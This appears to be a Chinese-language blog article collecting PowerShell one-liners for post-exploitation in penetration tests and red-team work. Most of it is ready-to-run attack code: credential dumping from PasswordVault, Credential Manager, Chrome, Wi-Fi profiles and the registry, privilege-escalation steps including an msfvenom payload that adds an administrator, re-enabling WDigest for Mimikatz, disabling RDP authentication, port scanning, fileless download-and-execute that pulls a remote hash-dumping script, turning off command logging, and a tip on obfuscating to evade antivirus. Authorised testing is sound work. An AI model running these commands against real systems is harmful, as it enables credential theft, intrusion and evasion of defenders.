渗透测试技巧之PowerShell命令

渗透测试技巧之PowerShell命令

本文包含从Internet的各个角落收集的PowerShell命令的列表,这些命令在渗透测试或红队练习中可能会有所帮助。

该列表包括纯PowerShell中的各种利用后的单行代码,而不需要任何令人反感的(=可能被标记为恶意的)第三方模块,还包括许多方便的管理命令。

查找包含敏感信息的文件

在利用后阶段,可以使用以下PowerShell命令在磁盘上查找可能包含凭据,配置详细信息和其他敏感信息的文件。

查找可能有趣的文件

使用此命令,我们可以根据文件名来识别具有潜在敏感数据的文件,例如帐户信息,凭据,配置文件等:

gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue

尽管这会产生很多干扰,但也会产生一些非常有趣的结果。

建议对每个磁盘驱动器都执行此操作,但是您也可以在 c:\users 文件夹中运行它,以取得快速收益。

在Sysprep或无人参与文件中查找凭据

此命令将从自动安装和自动配置中查找残留文件,这些残留文件可能包含纯文本密码或base64编码的密码:

gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue

这是众所周知的提权技术之一,因为密码通常是本地管理员密码。

建议对每个磁盘驱动器都执行此操作。

查找包含“password”字符串的配置文件

使用此命令,我们可以找到包含特定模式的文件,例如,这里正在各种文本配置文件中寻找“password”模式:

gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"

尽管这会产生很多干扰,但也会产生一些有趣的结果。

建议对每个磁盘驱动器都执行此操作。

在配置文件中查找数据库凭据

使用以下PowerShell命令,我们可以找到存储在各种配置文件(例如用于ASP.NET配置的web.config)和Visual Studio项目文件等中的数据库连接字符串(具有纯文本凭据):

gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"

查找连接字符串(例如,用于远程Microsoft SQL Server的连接字符串)可能会导致使用xp_cmdshell功能(链接链接链接等)进行远程命令执行(RCE ),从而导致横向渗透。

找到Web服务器配置文件

使用此命令,我们可以轻松找到属于Microsoft IIS,XAMPP,Apache,PHP或MySQL安装的配置文件:

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

这些文件可能包含纯文本密码或其他有趣的信息,这些信息可能允许访问其他资源,例如数据库,管理界面等。

提取凭证

以下PowerShell命令也属于post-exploitation类别,它们对获得Windows系统访问权限后提取凭据很有用。

从Windows PasswordVault获取存储的密码

使用以下PowerShell命令,我们可以从Windows PasswordVault提取机密,这是Windows的内置机制,用于存储密码和Web凭据,例如,用于Internet Explorer,Edge和其他应用程序:

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }

请注意,保管库通常存储在以下位置,并且只能在当前登录用户的上下文中检索机密:

C:\Users\<USERNAME>\AppData\Local\Microsoft\Vault\
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\
C:\ProgramData\Microsoft\Vault\

有关Windows PasswordVault的更多信息,请参见此处

从Windows凭据管理器获取存储的密码

Windows Credential Manager提供了另一种存储用于登录网站,登录到远程系统和各种应用程序的凭据的机制,并且还提供了在PowerShell脚本中使用凭据的安全方式。

使用以下一种代码,我们可以使用CredentialManager PowerShell模块从凭据管理器中检索所有存储的凭据:

Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }

与PasswordVault相似,凭据存储在各个用户配置文件位置,只有当前登录的用户才能解密其凭据:

C:\Users\<USERNAME>\AppData\Local\Microsoft\Credentials\
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\

从Google Chrome浏览器中转储密码

以下命令从Google Chrome浏览器中提取存储的凭据(如果已安装,并且存储了任何密码):

[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))

同样,必须在目标(受害者)用户的上下文中执行此操作。

从无线配置文件获取存储的Wi-Fi密码

使用此命令,我们可以从Windows系统中配置的无线配置文件中提取所有存储的Wi-Fi密码(WEP,WPA PSK,WPA2 PSK等):

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

请注意,我们必须具有管理员权限才能使其正常运行。

在注册表中搜索SNMP团体字符串

以下命令将提取存储在注册表中的SNMP团体字符串(如果有):

gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue

查找SNMP团体字符串不是关键问题,但是对以下情况可能有用:

  • 了解组织中的系统管理员使用哪种密码模式
  • 进行密码喷雾攻击(假设密码可能在其他地方重复使用)

在注册表中搜索字符串模式

以下PowerShell命令将筛选选定的注册表配置单元(HKCR,HKCU,HKLM,HKU和HKCC),并在注册表项名称或数据值中递归搜索任何选定的模式。在这种情况下,我们正在搜索“password”模式:

$pattern = "password"
$hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"

# Search in registry keys
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }

# Search in registry values
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}

尽管这可能会花费很多时间并产生很多干扰,但它肯定会在注册表中找到所选模式的每次出现。

提权

以下各节包含对特权升级攻击有用的PowerShell命令-适用于以下情况:当我们仅具有低特权用户访问权限,并且我们希望将特权升级为本地管理员时。

搜索注册表以获取自动登录凭据

Windows系统可以配置为在启动时自动登录,例如在POS(销售点)系统上使用。通常,这是通过将用户名和密码以明文形式存储在特定的Winlogon注册表位置中来配置的。

以下命令将从注册表中获取自动登录凭据:

gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"

检查是否已启用AlwaysInstallElevated

如果以下AlwaysInstallElevated注册表项设置为1,则意味着任何低特权用户都可以使用NT AUTHORITY \ SYSTEM特权安装* .msi文件。这是使用PowerShell进行检查的方法:

gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

请注意,两个注册表项都必须设置为1才能起作用。

使用Metasploit Framework中的msfvenom实用工具可以轻松生成MSI安装程序包。例如,我们可以将自己添加到管理员组中:

msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi

查找未引用的服务路径

以下PowerShell命令将打印出其可执行路径未包含在引号(“)中的服务:

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

如果可执行文件路径中也包含空格,并且我们对路径中的任何文件夹都具有写权限,则这可能导致特权升级。

可以在此处此处找到有关此技术的更多详细信息,包括开发步骤。

检查LSASS WDigest缓存

使用以下命令,我们可以检查是否在系统上启用了WDigest凭据缓存。此设置指示我们是否能够使用Mimikatz从LSASS进程内存中提取纯文本凭据。

(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
  • 如果该值设置为0,则禁用缓存(系统受保护)
  • 如果不存在或设置为1,则启用缓存

请注意,如果禁用它,我们仍然可以使用以下命令启用它,但之后还必须重新启动系统:

sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1

SYSVOL和组策略首选项(GPP)中的凭据

在公司Windows Active Directory环境中,有时可以在组策略中的SYSVOL网络共享的域控制器上的各种自定义脚本或配置文件中找到凭据。

由于任何经过身份验证的域用户都可以访问SYSVOL网络共享,因此我们可以使用以下命令轻松确定是否存在任何存储的凭据:

Push-Location \\example.com\sysvol
gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password
Pop-Location

一个典型的示例是GPP XML文件中具有cPassword属性的MS14-025。例如,可以使用Kali Linux中的gpp-decrypt实用程序将“ cpassword”属性立即解密为纯文本形式。

这是一些与网络相关的PowerShell命令,这些命令在内部网络渗透测试和类似练习中尤其有用。

从命令行设置MAC地址

有时在网络接口上设置MAC地址很有用,而使用PowerShell我们可以轻松地做到这一点,而无需使用任何第三方工具:

Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"

例如,当我们正在测试NAC(网络访问控制)旁路和其他功能时,这可能会很有用。

允许远程桌面连接

当我们想使用图形RDP会话连接到系统时,此命令三项很有用,但由于某些原因未启用它:

# Allow RDP connections
(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)

# Disable NLA
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

# Allow RDP on the firewall
Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True

现在,tcp/3389端口应该已打开,并且我们应该能够顺利连接,例如使用Kali Linux的xfreerdp或rdesktop工具。

使用大量DNS反向查找的主机发现

使用此命令,我们可以在10.10.1.0/24子网中执行快速反向DNS查找,并查看是否有任何可解析的(可能是活动的)主机:

$net = "10.10.1."
0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt

然后将结果保存在当前工作目录的ip_hostname.txt文件中。

有时,与pingsweep或类似技术相比,它可以更快,更隐蔽。

端口扫描主机以查找有趣的端口

以下是快速端口扫描指定39个感兴趣端口的指定IP地址(10.10.15.232)的方法:

$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"
$ip = "10.10.15.232"
$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null 

这将使我们快速了解有关网络上特定主机的情况,而无需使用纯PowerShell:

端口扫描网络中的单个端口(端口扫描)

例如,这对于在指定的网络C类子网(10.10.0.0/24)上快速发现SSH接口(端口tcp / 22)非常有用:

$port = 22
$net = "10.10.0."
0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null

如果您仅尝试识别Windows系统,只需将端口更改为445。

创建访客SMB共享驱动器

这是一个很酷的技巧,可以快速启动任何人都可以访问的SMB(CIFS)网络共享驱动器:

new-item "c:\users\public\share" -itemtype directory
New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"

要随后停止它,执行:

Remove-SmbShare -Name "sharedir" -Force

这对于传输文件,渗透等可能非常方便。

将Windows防火墙中的IP地址列入白名单

这是将Windows防火墙中的IP地址列入白名单的有用命令:

New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123

现在,我们应该能够从每个端口上的IP地址(10.10.15.123)连接到该主机。

完成业务后,删除规则:

Remove-NetFirewallRule -DisplayName "pentest"

其他有用的命令

以下命令对于执行各种管理任务,收集有关系统的信息或使用在渗透测试期间可能有用的其他PowerShell功能很有用。

无文件下载并执行

使用此微小的PowerShell命令,我们可以轻松地下载并执行远程托管的任意PowerShell代码-在我们自己的计算机上或在Internet上:

iex(iwr("https://URL"))
  • iwr =调用WebRequest
  • iex =调用表达

远程内容将在不接触磁盘的情况下下载和加载(无文件)。现在我们可以运行它。

我们可以将其用于许多流行的进攻模块,例如:

这是使用nishang Get-PassHashes模块转储本地密码哈希(hashdump)的示例:

iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes

非常简单,但是请注意,任何体面的AV或EDR都可能标记出此标记。

在这种情况下,您可以做的是混淆要使用的模块,并将其托管在自己的位置。

获取当前用户的SID

以下命令将返回当前用户的SID值:

([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value

检查我们是否以特权(管理员)运行

这是一种快速的单行代码,用于检查我们是否正在使用管理员权限运行提升的PowerShell会话:

If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }

禁用PowerShell命令日志记录

默认情况下,PowerShell会自动在历史记录文件中记录多达4096个命令,就像Bash在Linux上一样。

PowerShell历史记录文件是一个纯文本文件,位于每个用户的配置文件中的以下位置:

C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

使用以下命令,我们可以在当前shell会话中禁用PowerShell命令日志记录功能:

Set-PSReadlineOption –HistorySaveStyle SaveNothing

要么

Remove-Module PSReadline

如果我们想最大程度地减少对系统的占用,这在红色团队练习中会很有用。

从现在开始,PowerShell历史记录文件中将不会记录任何命令。但是请注意,上述命令仍将在历史记录文件中回显,因此请注意,这并不是完全隐蔽的。

列出已安装的防病毒(AV)产品

这是一个简单的PowerShell命令,用于查询安全中心并识别此计算机上所有已安装的防病毒产品:

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

未安装杀毒软件的截图

安装了卡巴斯基杀毒软件的截图示例

通过解码productState值,我们可以识别当前启用了哪些杀毒软件(如果安装了多个AV),签名是否是最新的,甚至启用了哪些AV功能和扫描引擎(例如实时保护) ,反间谍软件,自动更新等)。

但是,这是一个很深奥的话题,没有简单的解决方案。以下是有关该主题的一些链接:

from